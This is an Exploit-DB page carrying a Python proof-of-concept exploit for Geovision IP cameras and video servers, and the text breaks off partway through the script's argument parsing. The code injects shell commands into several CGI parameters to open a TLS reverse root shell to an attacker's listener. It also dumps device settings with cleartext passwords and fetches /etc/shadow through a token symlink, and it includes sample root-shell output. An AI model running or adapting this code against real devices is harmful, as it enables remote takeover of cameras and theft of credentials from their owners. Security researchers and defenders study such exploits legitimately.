Geovision Inc. IP Camera & Video – Remote Command Execution

  • 作者: bashis
    日期: 2018-02-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43983/
  • #!/usr/bin/env python2.7
    #
    # [SOF]
    #
    # Geovision Inc. IP Camera & Video Server Remote Command Execution PoC
    # Researcher: bashis <mcw noemail eu> (November 2017)
    #
    ###########################################################################################
    #
    # 1. Pop stunnel TLSv1 reverse root shell [Local listener: 'ncat -vlp <LPORT> --ssl'; Verified w/ v7.60]
    # 2. Dump all settings of remote IPC with Login/Passwd in cleartext
    # Using:
    # - CGI: 'Usersetting.cgi' (Logged in user) < v3.12 (Very old) [Used as default]
    # - CGI: 'FilterSetting.cgi' (Logged in user) < v3.12 (Very old)
    # - CGI: 'PictureCatch.cgi' (Anonymous) > v3.10
    # - CGI: 'JpegStream.cgi' (Anonymous) > v3.10
    # 3. GeoToken PoC to login and download /etc/shadow via generated token symlink
    #
    # Sample reverse shell:
    # $ ncat -vlp 1337 --ssl
    # Ncat: Version 7.60 ( https://nmap.org/ncat )
    # Ncat: Generating a temporary 1024-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
    # Ncat: SHA-1 fingerprint: 3469 C118 43F0 043A 5168 189B 1D67 1131 4B5B 1603
    # Ncat: Listening on :::1337
    # Ncat: Listening on 0.0.0.0:1337
    # Ncat: Connection from 192.168.57.20.
    # Ncat: Connection from 192.168.57.20:16945.
    # /bin/sh: can't access tty; job control turned off
    # /www # id
    # id
    # uid=0(root) gid=0(root)
    # /www # uname -a
    # uname -a
    # Linux IPCAM 2.6.18_pro500-davinci #1 Mon Jun 19 21:27:10 CST 2017 armv5tejl unknown
    # /www # exit
    # $
    
    ############################################################################################
    
    import sys
    import socket
    import urllib, urllib2, httplib
    import json
    import hashlib
    import commentjson # pip install commentjson
    import xmltodict # pip install xmltodict
    import select
    import string
    import argparse
    import random
    import base64
    import ssl
    import json
    import os
    import re
    
    #from pwn import *
    
    def split2len(s, n):
    	def _f(s, n):
    		while s:
    			yield s[:n]
    			s = s[n:]
    	return list(_f(s, n))
    
    # Ignore download of '302 Found/Location' redirections
    class NoRedirection(urllib2.HTTPErrorProcessor):
    
    	def http_response(self, request, response):
    		return response
    	https_response = http_response
    
    class HTTPconnect:
    
    	def __init__(self, host, proto, verbose, credentials, Raw, noexploit):
    		self.host = host
    		self.proto = proto
    		self.verbose = verbose
    		self.credentials = credentials
    		self.Raw = Raw
    		self.noexploit = False
    		self.noexploit = noexploit
    	
    	def Send(self, uri, query_headers, query_data, ID):
    		self.uri = uri
    		self.query_headers = query_headers
    		self.query_data = query_data
    		self.ID = ID
    
    		# Connect-timeout in seconds
    		timeout = 10
    		socket.setdefaulttimeout(timeout)
    
    		url = '{}://{}{}'.format(self.proto, self.host, self.uri)
    
    		if self.verbose:
    			print "[Verbose] Sending:", url
    
    		if self.proto == 'https':
    			if hasattr(ssl, '_create_unverified_context'):
    				print "[i] Creating SSL Unverified Context"
    				ssl._create_default_https_context = ssl._create_unverified_context
    
    		if self.credentials:
    			Basic_Auth = self.credentials.split(':')
    			if self.verbose:
    				print "[Verbose] User:",Basic_Auth[0],"password:",Basic_Auth[1]
    			try:
    				pwd_mgr = urllib2.HTTPpasswordMgrWithDefaultDahua_realm()
    				pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1])
    				auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
    				if verbose:
    					http_logger = urllib2.HTTPHandler(debuglevel = 1) # HTTPSHandler... for HTTPS
    					opener = urllib2.build_opener(auth_handler,NoRedirection,http_logger)
    				else:
    					opener = urllib2.build_opener(auth_handler,NoRedirection)
    				urllib2.install_opener(opener)
    			except Exception as e:
    				print "[!] Basic Auth Error:",e
    				sys.exit(1)
    		else:
    			# Don't follow redirects!
    			if verbose:
    				http_logger = urllib2.HTTPHandler(debuglevel = 1)
    				opener = urllib2.build_opener(http_logger,NoRedirection)
    				urllib2.install_opener(opener)
    			else:
    				NoRedir = urllib2.build_opener(NoRedirection)
    				urllib2.install_opener(NoRedir)
    
    
    		if self.noexploit and not self.verbose:
    			print "[<] 204 Not Sending!"
    			html ="Not sending any data"
    			return html
    		else:
    			if self.query_data:
    				req = urllib2.Request(url, data=urllib.urlencode(self.query_data,doseq=True), headers=self.query_headers)
    				if self.ID:
    					Cookie = 'CLIENT_ID={}'.format(self.ID)
    					req.add_header('Cookie', Cookie)
    			else:
    				req = urllib2.Request(url, None, headers=self.query_headers)
    				if self.ID:
    					Cookie = 'CLIENT_ID={}'.format(self.ID)
    					req.add_header('Cookie', Cookie)
    			rsp = urllib2.urlopen(req)
    			if rsp:
    				print "[<] {}".format(rsp.code)
    
    		if self.Raw:
    			return rsp
    		else:
    			html = rsp.read()
    			return html
    
    
    
    #
    # Validate correctness of HOST, IP and PORT
    #
    class Validate:
    
    	def __init__(self,verbose):
    		self.verbose = verbose
    
    	# Check if IP is valid
    	def CheckIP(self,IP):
    		self.IP = IP
    
    		ip = self.IP.split('.')
    		if len(ip) != 4:
    			return False
    		for tmp in ip:
    			if not tmp.isdigit():
    				return False
    			i = int(tmp)
    			if i < 0 or i > 255:
    				return False
    		return True
    
    	# Check if PORT is valid
    	def Port(self,PORT):
    		self.PORT = PORT
    
    		if int(self.PORT) < 1 or int(self.PORT) > 65535:
    			return False
    		else:
    			return True
    
    	# Check if HOST is valid
    	def Host(self,HOST):
    		self.HOST = HOST
    
    		try:
    			# Check valid IP
    			socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP
    			# Now we check if it is correct typed IP
    			if self.CheckIP(self.HOST):
    				return self.HOST
    			else:
    				return False
    		except socket.error as e:
    			# Else check valid DNS name, and use the IP address
    			try:
    				self.HOST = socket.gethostbyname(self.HOST)
    				return self.HOST
    			except socket.error as e:
    				return False
    
    
    
    class Geovision:
    
    	def __init__(self, rhost, proto, verbose, credentials, raw_request, noexploit, headers, SessionID):
    		self.rhost = rhost
    		self.proto = proto
    		self.verbose = verbose
    		self.credentials = credentials
    		self.raw_request = raw_request
    		self.noexploit = noexploit
    		self.headers = headers
    		self.SessionID = SessionID
    
    
    	def Login(self):
    
    		try:
    
    			print "[>] Requesting keys from remote"
    			URI = '/ssi.cgi/Login.htm'
    			response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,None,None)
    			response = response.read()[:1500]
    			response = re.split('[()<>?"\n_&;/ ]',response)
    	#		print response
    
    		except Exception as e:
    			print "[!] Can't access remote host... ({})".format(e)
    			sys.exit(1)
    
    		try:
    			#
    			# Geovision way to have MD5 random Login and Password
    			#
    			CC1 = ''
    			CC2 = ''
    			for check in range(0,len(response)):
    				if response[check] == 'cc1=':
    					CC1 = response[check+1]
    					print "[i] Random key CC1: {}".format(response[check+1])
    				elif response[check] == 'cc2=':
    					CC2 = response[check+1]
    					print "[i] Random key CC2: {}".format(response[check+1])
    				"""
    				#
    				# Less interesting to know, but leave it here anyway.
    				#
    				# If the remote server has enabled guest view, these below will not be '0'
    				elif response[check] == 'GuestIdentify':
    					print "[i] GuestIdentify: {}".format(response[check+2])
    				elif response[check] == 'uid':
    					if response[check+2]:
    						print "[i] uid: {}".format(response[check+2])
    					else:
    						print "[i] uid: {}".format(response[check+3])
    				elif response[check] == 'pid':
    					if response[check+2]:
    						print "[i] pid: {}".format(response[check+2])
    					else:
    						print "[i] pid: {}".format(response[check+3])
    				"""
    
    			if not CC1 and not CC2:
    				print "[!] CC1 and CC2 missing!"
    				print "[!] Cannot generate MD5, exiting.."
    				sys.exit(0)
    
    			#
    			# Geovision MD5 Format
    			#
    			uMD5 = hashlib.md5(CC1 + username + CC2).hexdigest().upper()
    			pMD5 = hashlib.md5(CC2 + password + CC1).hexdigest().upper()
    	#		print "[i] User MD5: {}".format(uMD5)
    	#		print "[i] Pass MD5: {}".format(pMD5)
    
    
    			self.query_args = {
    				"username":"",
    				"password":"",
    				"Apply":"Apply",
    				"umd5":uMD5,
    				"pmd5":pMD5,
    				"browser":1,
    				"is_check_OCX_OK":0
    				}
    
    			print "[>] Logging in"
    			URI = '/LoginPC.cgi'
    			response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    	#		print response.info()
    
    			# if we don't get 'Set-Cookie' back from the server, the Login has failed
    			if not (response.info().get('Set-Cookie')):
    				print "[!] Login Failed!"
    				sys.exit(1)
    			if verbose:
    				print "Cookie: {}".format(response.info().get('Set-Cookie'))
    
    			return response.info().get('Set-Cookie')
    
    		except Exception as e:
    			print "[i] What happen? ({})".format(e)
    			exit(0)
    
    
    	def DeviceInfo(self):
    
    		try:
    			URI = '/PSIA/System/deviceInfo'
    			response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,None)
    			deviceinfo = xmltodict.parse(response)
    			print "[i] Remote target: {} ({})".format(deviceinfo['DeviceInfo']['model'],deviceinfo['DeviceInfo']['firmwareVersion'])
    			return True
    
    		except Exception as e:
    			print "[i] Info about remote target failed ({})".format(e)
    			return False
    
    
    	def UserSetting(self,DumpSettings):
    		self.DumpSettings = DumpSettings
    
    		if self.DumpSettings:
    			print "[i] Dump Config of remote"
    			SH_CMD = '`echo "<!--#include file="SYS_CFG"-->" >/var/www/tmp/Login.htm`'
    		else:
    
    			print "[i] Launching TLSv1 privacy reverse shell"
    			self.headers = {
    				'Connection': 'close',
    				'Accept-Language'	:	'en-US,en;q=0.8',
    				'Cache-Control'	:	'max-age=0',
    				'User-Agent':'Mozilla',
    				'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'
    				}
    			SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'
    			SH_CMD = SH_CMD.replace("LHOST",lhost)
    			SH_CMD = SH_CMD.replace("LPORT",lport)
    
    		print "[>] Pwning Usersetting.cgi"
    		self.query_args = {
    			"umd5":SH_CMD,
    			"pmd5":"GEOVISION",
    			"nmd5":"PWNED",
    			"cnt5":"",
    			"username":"",
    			"passwordOld":"",
    			"passwordNew":"",
    			"passwordRetype":"",
    			"btnSubmitAdmin":"1",
    			"submit":"Apply"
    			}
    		try:
    			URI = '/UserSetting.cgi'
    			response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    			if DumpSettings:
    				print "[i] Dumping"
    				URI = '/ssi.cgi/tmp/Login.htm'
    				response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)
    				print response
    				return True
    
    		except Exception as e:
    			if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
    				print "[!] Enjoy the shell... ({})".format(e)
    				return True
    
    
    	def PictureCatch(self,DumpSettings):
    		self.DumpSettings = DumpSettings
    
    		if self.DumpSettings:
    			print "[i] Dump Config of remote"
    			SH_CMD = '`echo "<!--#include file="SYS_CFG"-->" >/var/www/tmp/Login.htm`'
    		else:
    
    			print "[i] Launching TLSv1 privacy reverse shell"
    			self.headers = {
    				'Connection': 'close',
    				'Accept-Language'	:	'en-US,en;q=0.8',
    				'Cache-Control'	:	'max-age=0',
    				'User-Agent':'Mozilla',
    				'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'
    				}
    			SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'
    			SH_CMD = SH_CMD.replace("LHOST",lhost)
    			SH_CMD = SH_CMD.replace("LPORT",lport)
    
    		print "[>] Pwning PictureCatch.cgi"
    		self.query_args = {
    			"username":SH_CMD,
    			"password":"GEOVISION",
    			"attachment":"1",
    			"channel":"1",
    			"secret":"1",
    			"key":"PWNED"
    			}
    
    		try:
    			URI = '/PictureCatch.cgi'
    			response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    			if DumpSettings:
    				print "[i] Dumping"
    				URI = '/ssi.cgi/tmp/Login.htm'
    				response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)
    				print response
    				return True
    		except Exception as e:
    			if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
    				print "[!] Enjoy the shell... ({})".format(e)
    				return True
    
    
    	def JpegStream(self,DumpSettings):
    		self.DumpSettings = DumpSettings
    
    		if self.DumpSettings:
    			print "[i] Dump Config of remote"
    			SH_CMD = '`echo "<!--#include file="SYS_CFG"-->" >/var/www/tmp/Login.htm`'
    		else:
    
    			print "[i] Launching TLSv1 privacy reverse shell"
    			self.headers = {
    				'Connection': 'close',
    				'Accept-Language'	:	'en-US,en;q=0.8',
    				'Cache-Control'	:	'max-age=0',
    				'User-Agent':'Mozilla',
    				'Accept':'client=yes\\x0apty=yes\\x0asslVersion=TLSv1\\x0aexec=/bin/sh\\x0a'
    				}
    			SH_CMD = ';echo -en \"$HTTP_ACCEPT connect=LHOST:LPORT\"|stunnel -fd 0;'
    			SH_CMD = SH_CMD.replace("LHOST",lhost)
    			SH_CMD = SH_CMD.replace("LPORT",lport)
    
    		print "[>] Pwning JpegStream.cgi"
    		self.query_args = {
    			"username":SH_CMD,
    			"password":"GEOVISION",
    			"attachment":"1",
    			"channel":"1",
    			"secret":"1",
    			"key":"PWNED"
    			}
    
    		try:
    			URI = '/JpegStream.cgi'
    			response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    			if DumpSettings:
    				print "[i] Dumping"
    				URI = '/ssi.cgi/tmp/Login.htm'
    				response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,None,self.SessionID)
    				print response
    				return True
    		except Exception as e:
    			if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
    				print "[!] Enjoy the shell... ({})".format(e)
    				return True
    
    #
    # Interesting example of bad code and insufficent sanitation of user input.
    # ';' is filtered in v3.12, and when found in the packet, the packet is simply ignored.
    #
    # Later in the chain the Geovision code will write provided userinput to flash, we may overwrite unwanted flash area if we playing to much here.
    # So, we are limited to 31 char per line (32 MUST BE NULL), to play safe game with this bug.
    #
    # v3.10->3.12 changed how to handle ipfilter
    # From:
    # User input to system() call in FilterSetting.cgi to set iptable rules and then save them in flash
    # To:
    # User input transferred from 'FilterSetting.cgi' to flash (/dev/mtd11), and when the tickbox to activate the filter rules,
    # '/usr/local/bin/geobox-iptables-reload' is triggered to read these rules from flash and '/usr/local/bin/iptables' via 'geo_net_filter_table_add'
    # with system() call in 'libgeo_net.so'
    # 
    
    # Should end up into;
    # 23835 root576 S sh -c /usr/local/bin/iptables -A INPUT-s `/usr/loca...[trunkated]
    # 23836 root 2428 S /usr/local/bin/stunnel /tmp/x
    # 23837 root824 S /bin/sh
    
    
    	def FilterSetting(self):
    
    		try:
    			print "[>] Pwning FilterSetting.cgi"
    			#
    			# ';' will be treated by the code as LF
    			# 
    			# Let's use some TLSv1 privacy for the reverse shell 
    			#
    			SH_CMD = 'client=yes;connect=LHOST:LPORT;exec=/bin/sh;pty=yes;sslVersion=TLSv1'
    			#
    			SH_CMD = SH_CMD.replace("LHOST",lhost)
    			SH_CMD = SH_CMD.replace("LPORT",lport)
    			ShDict = SH_CMD.split(';')
    
    			MAX_SIZE = 31 # Max Size of the strings to generate
    			LF = 0
    			LINE = 0
    			CMD = {}
    			CMD_NO_LF = "`echo -n \"TMP\">>/tmp/x`"
    			CMD_DO_LF = "`echo \"TMP\">>/tmp/x`"
    			SIZE = MAX_SIZE-(len(CMD_NO_LF)-3) # Size of availible space for our input in 'SH_CMD'
    
    			# Remove, just in case
    			CMD[LINE] = "`rm -f /tmp/x`"
    
    			URI = '/FilterSetting.cgi'
    			#
    			# This loop will make the correct aligment of user input
    			#
    			for cmd in range(0,len(ShDict)):
    				CMD_LF = math.ceil(float(len(ShDict[cmd])) / SIZE)
    				cmd_split = split2len(ShDict[cmd], SIZE)
    				for CMD_LEN in range(0,len(cmd_split)):
    					LINE += 1
    					LF += 1
    					if (len(cmd_split[CMD_LEN]) > SIZE-1) and (CMD_LF != LF):
    						CMD[LINE] = CMD_NO_LF.replace("TMP",cmd_split[CMD_LEN])
    					else:
    						CMD[LINE] = CMD_DO_LF.replace("TMP",cmd_split[CMD_LEN])
    						LF = 0
    					if verbose:
    						print "Len: {} {}".format(len(CMD[LINE]),CMD[LINE])
    
    			# Add two more commands to execute stunnel and remove /tmp/x
    			CMD[LINE+1] = "`/usr/local/bin/stunnel /tmp/x`" # 31 char, no /usr/local/bin in $PATH
    			CMD[LINE+2] = "`rm -f /tmp/x`" # Some bug here, think it is timing as below working
    			CMD[LINE+3] = "`rm -f /tmp/x`" # Working, this is only one more add/enable/disable/remove loop
    #
    # Below while() loop will create following /tmp/x, execute 'stunnel' and remove /tmp/x
    #
    # client=yes
    # connect=<LHOST>:<LPORT>
    # exec=/bin/sh
    # pty=yes
    # sslVersion=TLSv1
    #
    
    			NEW_IP_FILTER = 1 # > v3.12
    			CMD_LEN = 0
    			who = 0
    			# Clean up to make room, just in case
    			for Remove in range(0,4):
    				print "[>] Cleaning ipfilter entry: {}".format(Remove+1)
    				self.query_args = {
    					"bPolicy":"0",		# 1 = Enable, 0 = Disable
    					"Delete":"Remove",	# Remove entry
    					"szIpAddr":"",
    					"byOpId":"0",		# 0 = Allow, 1 = Deny
    					"dwSelIndex":"0",
    					}
    				response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    
    			while True:
    				if who == len(CMD):
    					break
    				if CMD_LEN < 4:
    
    					print "[>] Sending: {} ({})".format(CMD[who],len(CMD[who]))
    					self.query_args = {
    						"szIpAddr":CMD[who], # 31 char limit
    						"byOpId":"0", # 0 = Allow, 1 = Deny
    						"dwSelIndex":"0", # Seems not to be in use
    						"Add":"Apply"
    						}
    					response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    					response = re.split('[()<>?"\n_&;/ ]',response)
    					print response
    					if NEW_IP_FILTER:
    						for cnt in range(0,len(response)):
    							if response[cnt] == 'iptables':
    								NEW_IP_FILTER = 0
    								print "[i] Remote don't need Enable/Disable"
    								break
    					CMD_LEN += 1
    					who += 1
    					time.sleep(2) # Seems to be too fast without
    				# NEW Way
    				elif NEW_IP_FILTER:
    					print "[>] Enabling ipfilter"
    					self.query_args = {
    						"bPolicy":"1", # 1 = Enable, 0 = Disable
    						"szIpAddr":"",
    						"byOpId":"0", # 0 = Allow, 1 = Deny
    						"dwSelIndex":"0",
    						}
    
    					response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    
    					print "[i] Sleeping..."
    					time.sleep(5)
    
    					print "[>] Disabling ipfilter"
    					self.query_args = {
    						"szIpAddr":"",
    						"byOpId":"0",
    						"dwSelIndex":"0",
    						}
    					response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    
    					for Remove in range(0,4):
    						print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
    						self.query_args = {
    							"bPolicy":"0", # 1 = Enable, 0 = Disable
    							"Delete":"Remove",
    							"szIpAddr":"",
    							"byOpId":"0",
    							"dwSelIndex":"0",
    							}
    						response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    					CMD_LEN = 0
    				# OLD Way
    				else:
    					for Remove in range(0,4):
    						print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
    						self.query_args = {
    							"bPolicy":"0", # 1 = Enable, 0 = Disable
    							"Delete":"Remove",
    							"szIpAddr":"",
    							"byOpId":"0",
    							"dwSelIndex":"0",
    							}
    						response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    					CMD_LEN = 0
    
    			if NEW_IP_FILTER:
    				print "[i] Last sending"
    				print "[>] Enabling ipfilter"
    				self.query_args = {
    					"bPolicy":"1", # 1 = Enable, 0 = Disable
    					"szIpAddr":"",
    					"byOpId":"0", # 0 = Allow, 1 = Deny
    					"dwSelIndex":"0",
    					}
    
    				response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    
    				print "[i] Sleeping..."
    				time.sleep(5)
    
    				print "[>] Disabling ipfilter"
    				self.query_args = {
    					"szIpAddr":"",
    					"byOpId":"0",
    					"dwSelIndex":"0",
    					}
    				response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    
    				for Remove in range(0,4):
    					print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
    					self.query_args = {
    						"bPolicy":"0", # 1 = Enable, 0 = Disable
    						"Delete":"Remove",
    						"szIpAddr":"",
    						"byOpId":"0",
    						"dwSelIndex":"0",
    						}
    					response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    			
    			print "[!] Enjoy the shell... "
    
    			return True
    
    		except Exception as e:
    
    			if not NEW_IP_FILTER:
    				print "[i] Last sending"
    				for Remove in range(0,4):
    					print "[>] Deleting ipfilter Entry: {}".format(Remove+1)
    					self.query_args = {
    						"bPolicy":"0", # 1 = Enable, 0 = Disable
    						"Delete":"Remove",
    						"szIpAddr":"",
    						"byOpId":"0",
    						"dwSelIndex":"0",
    						}
    					response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID)
    				print "[!] Enjoy the shell... "
    				return True
    
    			print "[!] Hmm... {}".format(e)
    			print response.read()
    			return True
    
    
    	def GeoToken(self):
    
    		print "[i] GeoToken PoC to login and download /etc/shadow via token symlink"
    		print "[!] You must have valid login and password to generate the symlink"
    		try:
    
    #########################################################################################
    # This is how to list remote *.wav and *.avi files in /storage.
    
    			"""
    			print "[>] Requesting token1"
    			URI = '/BKCmdToken.php'
    			response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,None,None)
    			result = json.load(response)
    			if verbose:
    				print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))
    
    			print "[i] Request OK?: {}".format(result['success'])
    			if not result['success']:
    				sys.exit(1)
    			token1 = result['token']
    
    #
    # SAMPLE OUTPUT
    #
    #{
    #"success": true,
    #"token": "6fe1a7c1f34431acc7eaecba646b7caf"
    #}
    #
    			# Generate correct MD5 token2
    			token2 = hashlib.md5(hashlib.md5(token1 + 'gEo').hexdigest() + 'vIsIon').hexdigest()
    			query_args = {
    				"token1":token1,
    				"token2":token2
    				}
    
    			print "[>] List files"
    			URI = '/BKFileList.php'
    			response = HTTPconnect(rhost,proto,verbose,credentials,raw_request,noexploit).Send(URI,headers,query_args,None)
    			result = json.load(response)
    			if verbose:
    				print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))
    
    			for who in result.keys():
    				print len(who)
    #
    # SAMPLE OUTPUT
    #
    #{
    #"files": [
    #{
    #"file_size": "2904170",
    #"filename": "event20171105104946001.avi",
    #"remote_path": "/storage/hd11-1/GV-MFD1501-0a99a9/cam01/2017/11/05"
    #},
    #{}
    #]
    #}
    #########################################################################################
    			"""
    
    			# Request remote MD5 token1
    			print "[>] Requesting token1"
    			URI = '/BKCmdToken.php'
    			response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,None,None)
    			result = json.load(response)
    			if verbose:
    				print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))
    
    			print "[i] Request OK?: {}".format(result['success'])
    			if not result['success']:
    				return False
    			token1 = result['token']
    #
    # SAMPLE OUTPUT 
    #{
    #"success": true,
    #"token": "6fe1a7c1f34431acc7eaecba646b7caf"
    #}
    #
    			#
    			# Generate correct MD5 token2
    			#
    			# MD5 Format: <login>:<token1>:<password>
    			#
    			token2 = hashlib.md5(username + ':' + token1 + ':' + password).hexdigest() 
    
    			#
    			# symlink this file for us
    			#
    			filename = '/etc/shadow'
    
    			self.query_args = {
    				"token1":token1,
    				"token2":token2,
    				"filename":filename
    				}
    
    			print "[>] Requesting download file link"
    			URI = '/BKDownloadLink.cgi'
    			response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,None)
    			response = response.read()#[:900]
    			response = response.replace("'", "\"")
    			result = json.loads(response)
    			print "[i] Request OK?: {}".format(result['success'])
    			if not result['success']:
    				return False
    			if verbose:
    				print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))
    
    
    #
    # SAMPLE OUTPUT
    #
    #{
    #"dl_folder": "/tmp",
    #"dl_token": "C71689493825787.dltoken",
    #"err_code": 0,
    #"success": true
    #}
    #
    
    			URI = '/ssi.cgi' + result['dl_folder'] + '/' + result['dl_token']
    
    			print "[>] downloading ({}) with ({})".format(filename,URI)
    			response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,None)
    			response = response.read()
    			print response
    			return True
    
    		except Exception as e:
    			print "[i] GEO Token fail ({})".format(e)
    			return False
    
    
    if __name__ == '__main__':
    
    #
    # Help, info and pre-defined values
    #	
    	INFO ='[Geovision Inc. IPC/IPV RCE PoCs (2017 bashis <mcw noemail eu>)]\n'
    	HTTP = "http"
    	HTTPS = "https"
    	proto = HTTP
    	verbose = False
    	noexploit = False
    	raw_request = True
    	rhost = '192.168.57.20'	# Default Remote HOST
    	rport = '80'			# Default Remote PORT
    	lhost = '192.168.57.1'	# Default Local HOST
    	lport = '1337'		# Default Local PORT
    #	creds = 'root:pass'
    	credentials = False
    
    #
    # Geovision stuff
    #
    	SessionID =str(int(random.random() * 100000))
    	DumpSettings = False
    	deviceinfo = False
    	GEOtoken = False
    	anonymous = False
    	filtersetting = False
    	usersetting = False
    	jpegstream = False
    	picturecatch = False
    	# Geovision default
    	username = 'admin'
    	password = 'admin'
    
    #
    # Try to parse all arguments
    #
    	try:
    		arg_parser = argparse.ArgumentParser(
    		prog=sys.argv[0],
    				description=('[*] '+ INFO +' [*]'))
    		arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
    		arg_parser.add_argument('--rport', required=True, help='Remote Target HTTP/HTTPS Port [Default: '+ rport +']')
    		arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ lhost +']')
    		arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']')
    		arg_parser.add_argument('--autoip', required=False, default=False, action='store_true', help='Detect External Connect Back IP [Default: False]')
    
    		arg_parser.add_argument('--deviceinfo', required=False, default=False, action='store_true', help='Request model and firmware version')
    
    		arg_parser.add_argument('-g','--geotoken', required=False, default=False, action='store_true', help='Try retrieve /etc/shadow with geotoken')
    		arg_parser.add_argument('-a','--anonymous', required=False, default=False, action='store_true', help='Try pwning as anonymous')
    		arg_parser.add_argument('-f','--filtersetting', required=False, default=False, action='store_true', help='Try pwning with FilterSetting.cgi')
    		arg_parser.add_argument('-p','--picturecatch', required=False, default=False, action='store_true', help='Try pwning with PictureCatch.cgi')
    		arg_parser.add_argument('-j','--jpegstream', required=False, default=False, action='store_true', help='Try pwning with JpegStream.cgi')
    		arg_parser.add_argument('-u','--usersetting', required=False, default=False, action='store_true', help='Try pwning with UserSetting.cgi')
    		arg_parser.add_argument('-d','--dump', required=False, default=False, action='store_true', help='Try pwning remote config')
    
    
    		arg_parser.add_argument('--username', required=False, help='Username [Default: '+ username +']')
    		arg_parser.add_argument('--password', required=False, help='password [Default: '+ password +']')
    		if credentials:
    			arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ credentials + ']')
    		arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS for remote connection [Default: HTTP]')
    		arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]')
    		arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]')
    		args = arg_parser.parse_args()
    	except Exception as e:
    		print INFO,"\nError: {}\n".format(str(e))
    		sys.exit(1)
    
    	print "\n[*]",INFO
    
    	if args.verbose:
    		verbose = args.verbose
    #
    # Check validity, update if needed, of provided options
    #
    	if args.https:
    		proto = HTTPS
    		if not args.rport:
    			rport = '443'
    
    	if credentials and args.auth:
    		credentials = args.auth
    
    	if args.geotoken:
    		GEOtoken = args.geotoken
    
    	if args.anonymous:
    		anonymous = True
    
    	if args.deviceinfo:
    		deviceinfo = True
    
    	if args.dump:
    		DumpSettings = True
    
    	if args.filtersetting:
    		FilterSetting = True
    
    	if args.usersetting:
    		usersetting = True
    
    	if args.jpegstream:
    		jpegstream = True
    
    	if args.picturecatch:
    		picturecatch = True
    
    	if args.username:
    		username = args.username
    
    	if args.password:
    		password = args.password
    
    	if args.noexploit:
    		noexploit = args.noexploit
    
    	if args.rport:
    		rport = args.rport
    
    	if args.rhost:
